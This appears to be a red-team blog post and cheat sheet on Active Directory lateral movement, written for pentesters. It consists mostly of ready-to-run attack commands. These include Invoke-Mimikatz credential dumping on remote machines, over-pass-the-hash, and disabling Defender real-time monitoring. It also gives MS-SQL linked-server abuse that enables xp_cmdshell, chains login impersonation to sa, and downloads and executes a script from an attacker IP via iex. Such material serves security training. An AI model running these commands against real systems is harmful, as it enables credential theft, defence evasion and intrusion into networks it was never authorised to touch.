Active Directory - Lateral Movement

0xstarlight.github.io/posts/Active-Directory-Lateral-Movement

Bhaskar Pal

April 8, 2022

Introduction

Welcome to my fourth article in the Red Teaming Series (Active Directory Lateral Movement). I hope everyone has gone through the previous articles of this series which go through the basic concepts required, high-level Domain enumeration explanation and AD/Windows Local Privilege escalation guide.

If not so, you can give it a read from here.

This guide explains Active-Directory Lateral Movement snippets mainly by using PowerShell cmdlets, Inkove-Mimikats and abusing MS-SQL servers in detail. I will also explain those terms that every pentester/red-teamer should control to understand the attacks performed in an Active Directory network. You may refer to this as a Cheat-Sheet also.

I will continue to update this article with new lateral movement attacks.

> **Throughout the article, I will use PowerView , Invoke-Mimikatz and PowerUpSQL.psd1 in performing the lateral movement on a Windows/Active Directory Environment. If any other tools are required, they will be mentioned along.**

What is Lateral Movement

Lateral movement is when an attacker leverages their current access rights to navigate around your environment. Privilege escalation, which I already covered, is gaining increased access permissions. Attackers combine these two tactics to achieve their ultimate goal of stealing data or doing other damage to your organization.

PowerShell Remoting

- Think of it as psexec on steroids.
- You will found this increasingly used in enterprises. Enabled by default on Server 2012 onwards.
- You may need to enable remoting (**Enable-PSRemoting**) on a Desktop Windows machine, Admin privs are required to do that.
- You get elevated shell on remote system if admin creds are used to authenticate (which is the default setting).

> By default, enabling PowerShell remoting enables both an http and an https listener. The listeners run on default ports **5985 for http and 5986 for https**.

Powershell Sessions

In the table below, you can get a brief understanding of the working and usage of the cmdlets we will be using to perform attacks.

Session Type	Cmdlets	Benifits
One-to-One	1. `New-PSSession` 2. `Enter-PSSession`	1. Interactive 2. Runs in a new process (wsmprovhost) 3. Is Stateful
One-to-Many	1. `Invoke-Command`	1. Non-interactive 2. Executes commands parallelly 3. Execution is in disconnected sessions (v3)

Use `-Credential` parameter to pass username/password

```
$pass = ConvertTo-SecureString "Password123!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("<computer-
name>", $pass)
```

Enter/New-PSSession Remoting

1. Connect to a PS-Session of a remote user

```
Enter-PSSession -Computername <computer-
name>
```

2. Execute Stateful commands using Enter-PSSession (persistence)

```
$sess = New-PSSession -Computername <computer-
name>
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> $proc = Get-
Process
[scorp.star.light.local]:PS> exit
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> proc
Will list current process
```

Invoke-Command

1. Execute Stateful commands using Invoke-Command (persistence)

```
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -Session $sess -ScriptBlock {$proc = Get-
Process}
Invoke-Command -Session $sess -ScriptBlock {$proc.Name}
```

2. Display allowed commands we can execute on remote machine

```
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-
required> -credential $cred -command {get-command}
Invoke-Command -computername <computer-name> -credential $cred -command {get-
command}
Invoke-Command -computername <computer-name> -command {get-command}
```

3. Write File using ScriptBlock

```
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-
required> -Credential $cred -ScriptBlock {Set-Content -Path 'c:\temp.bat' -
Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -Credential $cred -ScriptBlock
{Set-Content -Path 'c:\temp.bat' -Value 'whoami'}
Invoke-Command -ComputerName <computer-name> -ScriptBlock {Set-Content -Path
'c:\temp.bat' -Value 'whoami'}
```

4. Edit file using ScriptBlock

```
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-
required> -ScriptBlock {((cat "c:\mention\path\here" -Raw) -replace
'replacing-object','replaced-with-content') | set-content -path
c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat
"c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-
content') | set-content -path c:\mention\same\path\here} -credential $cred
Invoke-Command -computername <computer-name> -ScriptBlock {((cat
"c:\mention\path\here" -Raw) -replace 'replacing-object','replaced-with-
content') | set-content -path c:\mention\same\path\here}
```

5. Command execution using command and ScriptBlock

```
# copy the command snippet with the parameters which are required
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-
required> -credential $cred -command {whoami}
Invoke-Command -computername <computer-name> -ConfigurationName <fill-if-
required> -credential $cred -ScriptBlock {whoami}
Invoke-Command -computername <computer-name> -command {whoami}
Invoke-Command -computername <computer-name> -ScriptBlock {whoami}
```

6. File execution using ScriptBlock

```
# copy the command snippet with the parameters which are required
Invoke-Command -ComputerName <computer-name> -ConfigurationName <fill-if-
required> -Credential $cred -ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -Credential $cred -
ScriptBlock{"C:\temp\mimikatz.exe"}
Invoke-Command -ComputerName <computer-name> -
ScriptBlock{"C:\temp\mimikatz.exe"}
```

7. File execution using FilePath

```
Invoke-Command -computername <computer-name> -FilePath
"C:\temp\mimikatz.exe"
```

8. Language Mode

```
Invoke-Command -computername <computer-name> -ScriptBlock
{$ExecutionContext.SessionState.LanguageMode}
```

> If the value of the LanguageMode is **Constrained**, then it will only allow built-in cmdlets execution

Execute locally loaded function on the remote machines

Example : **Hello.ps1**

```
function hello
{
Write-Output "Hello from the
function"
}
```

1. Now we can load the function on our machine

```
.
.\Hello.
ps1
```

2. Now we can execute the locally loaded functions

```
Invoke-Command -ScriptBlock ${function:hello} -ComputerName <computer-
name>
```

3. In this case, we are passing Arguments. Keep in mind that only positional arguments could be passed this way

```
Invoke-Command -ScriptBlock ${function:Get-PassHashes} -ComputerName (Get-
Content <list of servers>) -
ArgumentList
```

4. Directly load function on the remote machines using FilePath

```
$sess = New-PSSession -Computername <computer-name>
Invoke-Command -FilePath "C:\temp\hello.ps1" -Session
$sess
Enter-PSSession -Session $sess
[scorp.star.light.local]:PS> hello
Hello from the function
```

Invoke-Mimikatz

- The script could be used to dump credentials, tickets and more using mimikatz with PowerShell without dropping the mimikatz exe to disk.
- It is very useful for passing and replaying hashes, tickets and for many exciting Active Directory attacks.
- Using the code from ReflectivePEInjection, mimikatz is loaded reflectively into the memory. All the functions of mimikatz could be used from this script.
- The script needs administrative privileges for dumping credentials from local machine. Many attacks need specific privileges which are covered while discussing that attack.

1. Dump credentials on a local machine

```
Invoke-Mimikatz -
DumpCreds
```

2. Dump credentials on multiple remote machines

```
Invoke-Mimikatz -DumpCreds -ComputerName
@("sys1","sys2")
```

> Invoke-Mimikatz uses PowerShell remoting cmdlet **Invoke-Command** to do above.

3. “Over pass the hash” generate tokens from hashes

```
Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator
/domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'
```

4. Create new session and dump hashes

```
#Create a session for remoting system
$sess = New-PSSession -ComputerName <computer-name>
#Bypass AMSI
Invoke-Command -ScriptBlock {Set-MpPreference -DisableRealtimeMonitoring
$true; Set-MpPreference -DisableIOAVProtection $true; whoami} -Session $sess
#Locally load mimikatz on your own system
Import-Module .\Invoke-Mimikatz.ps1
#Execute locally loaded functions remoting system
Invoke-Command -ScriptBlock ${function:Invoke-Mimikatz -command
'"sekurlsa::logonpasswords"'} -Session $sess
```

MS-SQL Enumeration - Part 1

- MS SQL servers are generally deployed in plenty in a Windows domain.
- SQL Servers provide very good options for lateral movement as domain users can be mapped to database roles.

For importing the script use the following command

```
Import-Module
.\PowerUpSQL.psd1
```

Methodology/Steps

- 1. Check the SPN's
- 2. Check which SPN's you have access to
- 3. Check the Privileges you have of the above filtered SPN's
- 4. Keep note of the **Instance-Name**, **ServicePrincipalName** and the **DomainAccount-Name**
- 5. If you find any service with *higher privileges* continue below to abuse it

PowerUpSQL Enumeration

1. Enumerate SPN

```
Get-
SQLInstanceDomai
n
```

2. Check Access

```
Get-SQLConnectionTestThreaded
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -
Verbose
```

3. Check Privileges / Gather Infromation

```
Get-SQLInstanceDomain | Get-SQLServerInfo -
Verbose
```

4. Check impersonation rights (extra)

```
Invoke-SQLAudit -Verbose -Instance
<instanceName>
```

MS-SQL Abuse - Part 2

- A database link allows a SQL Server to access external data sources like other SQL Servers and OLE DB data sources.
- In case of database links between SQL servers, that is, linked SQL servers it is possible to execute stored procedures.
- Database links work even across forest trusts.

Execute commands on target server

- On the target server, either xp_cmdshell should be already enabled; or
- If **rpcout** is enabled (disabled by default), `xp_cmdshell` can be enabled using:

```
EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT
"eu-sql"
```

If **rpcout** is disabled but we are **sa**, it can be enabled with

```
EXEC sp_serveroption 'LinkedServer', 'rpc out',
'true';
```

Methodology/Steps

- 1. Check the SQL Server link
- 2. Keep note if you have link to any other database in **DatabaseLinkName**
- 3. If SysAdmin:0 means that we will not be allowed to enable **xp_cmdshell**
- 4. Keep on enumerating and check all the linked databases you have access to
- 5. Now we can try to execute commands through out all the linked databases found

PowerUpSQL - Abusing the privileges

1. Enumerate SQL Server links

```
Get-SQLServerLink -Instance <instanceName> -
Verbose
select * from master..sysservers
```

2. Enumerate DB links

```
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Verbose
select * from openquery("<instanceName>",'select * from openquery("
<linkedInstance>",''select * from master..sysservers'')')
```

3. Execute commands on target server

```
Get-SQLServerLinkCrawl -Instance dcorp-mysql -Query "exec master..xp_cmdshell
'whoami'" | ft
```

Extra Commands

1. Download file on target server

```
Get-SQLServerLinkCrawl -Instance <instanceName> -Query 'exec
master..xp_cmdshell "powershell -c iex (new-object
net.webclient).downloadstring(''http://IP:8080/Invoke-
HelloWorld.ps1'',''C:\Windows\Temp\Invoke-HelloWorld.ps1'')"'
```

2. Impersonate an user

```
Invoke-SQLAuditPrivImpersonateLogin -Instance <instanceName> -Exploit -Verbose
#Then, we can EXECUTE AS, and chained the 'EXECUTE AS'
Get-SQLServerLinkCrawl -Verbose -Instance <instanceName> -Query "EXECUTE AS
LOGIN = 'dbuser'; EXECUTE AS LOGIN = 'sa'; EXEC sp_configure 'show advanced
options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC
master..xp_cmdshell 'powershell -c iex (new-object
net.webclient).downloadstring(''http://IP/Invoke-HelloWorld.ps1'')'"
```

3. Basic SQL Server queries for DB enumeration

Also works with **Get-SQLServerLinkCrawl**

```
#View all db in an instance
Get-SQLQuery -Instance <instanceName> -Query "SELECT name FROM sys.databases"
#View all tables
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM
dbName.INFORMATION_SCHEMA.TABLES"
#View all cols in all tables in a db
Get-SQLQuery -Instance <instanceName> -Query "SELECT * FROM
dbName.INFORMATION_SCHEMA.columns"
#View data in table
Get-SQLQuery -Instance <instanceName> -Query "USE dbName;SELECT * FROM
tableName"
```

Tools Used

1. Invoke-Mimikatz download from here : Invoke-Mimikatz.ps1
2. PowerUpSQL download from here : PowerUpSQL.psd1

If you find my articles interesting, you can buy me a coffee